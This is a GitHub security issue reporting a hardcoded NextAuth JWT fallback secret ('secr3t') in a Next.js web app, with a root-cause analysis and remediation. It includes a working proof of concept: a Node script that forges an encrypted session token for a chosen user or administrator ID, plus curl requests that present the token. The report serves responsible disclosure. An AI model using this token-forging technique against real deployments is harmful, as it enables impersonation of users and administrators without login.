Skip to content

bug: Hardcoded NextAuth JWT secret fallback enables forged sessions #777

Description

@28Hus

Hardcoded NextAuth JWT secret fallback enables forged sessions

Summary

apps/web/lib/auth.ts uses the publicly readable fallback "secr3t" when NEXTAUTH_SECRET is not set. The application explicitly uses NextAuth JWT sessions, so this value protects the session token accepted by the authentication route.

An attacker who knows secr3t can create a valid NextAuth session token without completing the GitHub or Google login flow. If the attacker also knows a valid application user ID, the forged token is accepted as that user. If the ID belongs to an administrator, the session callback copies the database admin flag into the forged session and the administrator-only routes accept it.

Severity

High, when a deployment does not set a unique NEXTAUTH_SECRET and a target user ID is known.

  • CWE: CWE-798, Use of Hard-coded Credentials
  • Affected revision: 68c17c8d7edb21e27bac9821d59f3af0d028070b
  • Affected component: apps/web/lib/auth.ts
  • Prerequisites: NEXTAUTH_SECRET is unset, and the attacker knows a valid user ID for the account being impersonated

The finding is conditional on the deployment retaining the fallback. The report does not claim that the fallback alone lets an attacker guess an unknown user ID.

Root cause

The authentication configuration contains a fixed fallback secret:

apps/web/lib/auth.ts:22

secret: process.env.NEXTAUTH_SECRET || "secr3t",

The same configuration explicitly selects JWT sessions:

apps/web/lib/auth.ts:26

session: { strategy: "jwt" as SessionStrategy },

NextAuth v4 uses NEXTAUTH_SECRET to encrypt its JWT session token. With the JWT strategy, the session token is stored in the session cookie instead of being validated as a database Session.sessionToken. The project wires this configuration into the authentication route:

apps/web/app/api/auth/[...nextauth]/route.ts:1-6

const handler = NextAuth(authOptions);

export { handler as GET, handler as POST };

NextAuth documents that NEXTAUTH_SECRET encrypts JWTs and that session: { strategy: "jwt" } stores an encrypted JWT in the session cookie:

Authentication and authorization impact

The JWT callback returns the token without adding a server-issued session binding. The session callback accepts token.sub as the session user ID and performs a separate user lookup only to obtain the admin flag:

apps/web/lib/auth.ts:27-41

async jwt({ token }: any) {
  return token;
},
async session({ session, token }: any) {
  const user = await db.user.findUnique({
    where: { id: token.sub },
  });
  if (token) {
    session.user.id = token.sub;
    session.user.admin = user?.admin;
  }
  return session;
},

The user model has a database-backed admin field, but the JWT session is not required to match a previously issued database session record:

packages/db/prisma/schema.prisma:30-53

model Session {
  sessionToken String   @unique
  userId       String
  expires      DateTime
  user         User     @relation(fields: [userId], references: [id], onDelete: Cascade)
}

model User {
  id    String  @id @default(cuid())
  admin Boolean @default(false)
}

The forged session is used by both ordinary authenticated pages and administrator-only paths:

This creates a hybrid authorization path: the token supplies the user identifier, while the database supplies the administrator bit. The database lookup limits arbitrary claims such as admin=true, but it does not turn the JWT into a stateful session-token check. A valid encrypted token containing a known administrator ID is still accepted.

Proof of concept

Run this only against a local, disposable deployment that uses the cited revision.

  1. Install the web dependencies and start the application without defining NEXTAUTH_SECRET:
pnpm install
cd apps/web
unset NEXTAUTH_SECRET
pnpm dev
  1. Set TARGET_USER_ID to a user ID in the local test database. Use an administrator ID to test the administrator path.

  2. Generate a NextAuth-compatible encrypted session token with the exposed fallback:

cd apps/web
export TARGET_USER_ID="KNOWN_USER_OR_ADMIN_CUID"

TOKEN="$(node --input-type=module <<'NODE'
import { encode } from "next-auth/jwt";

const token = await encode({
  token: {
    sub: process.env.TARGET_USER_ID,
    name: "forged-session",
  },
  secret: "secr3t",
  maxAge: 3600,
});

process.stdout.write(token);
NODE
)"
  1. Send the forged token to the NextAuth session endpoint:
curl -i http://127.0.0.1:3000/api/auth/session \
  -H "Cookie: next-auth.session-token=${TOKEN}"

Expected result for an administrator ID:

HTTP/1.1 200 OK

{"user":{"id":"KNOWN_USER_OR_ADMIN_CUID","admin":true,...}}

The response demonstrates that the server accepted a session encrypted with the committed fallback and populated the identity without a normal OAuth login. The following request should also render the administrator page instead of the Access Denied response:

curl -i http://127.0.0.1:3000/admin \
  -H "Cookie: next-auth.session-token=${TOKEN}"

For an HTTPS deployment, use the secure cookie name configured by NextAuth, normally __Secure-next-auth.session-token, and send the request over HTTPS.

Remediation

Remove the hardcoded fallback and fail closed when NEXTAUTH_SECRET is missing:

const secret = process.env.NEXTAUTH_SECRET;

if (!secret) {
  throw new Error("NEXTAUTH_SECRET must be set to a deployment-specific random value");
}

export const authOptions = {
  secret,
  // ...
};

Generate a unique value for each deployment, for example:

openssl rand -base64 32

After replacing the fallback, rotate the secret and invalidate previously issued sessions. Keep the database lookup for authorization, but do not treat a public fallback as a valid production secret.

Disclosure note

The repository security page did not expose a repository-specific SECURITY.md or private advisory channel at the time of review. This report is therefore formatted for issue-compatible disclosure.

This report is part of my ongoing research into the security of authentication mechanisms. If you have any questions about this finding or the evidence provided, please feel free to mention me in the discussion or contact me directly at any time. I would be very happy to discuss it and to contribute, in any way I can, to improving the security of Code100x Daily Code.

References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions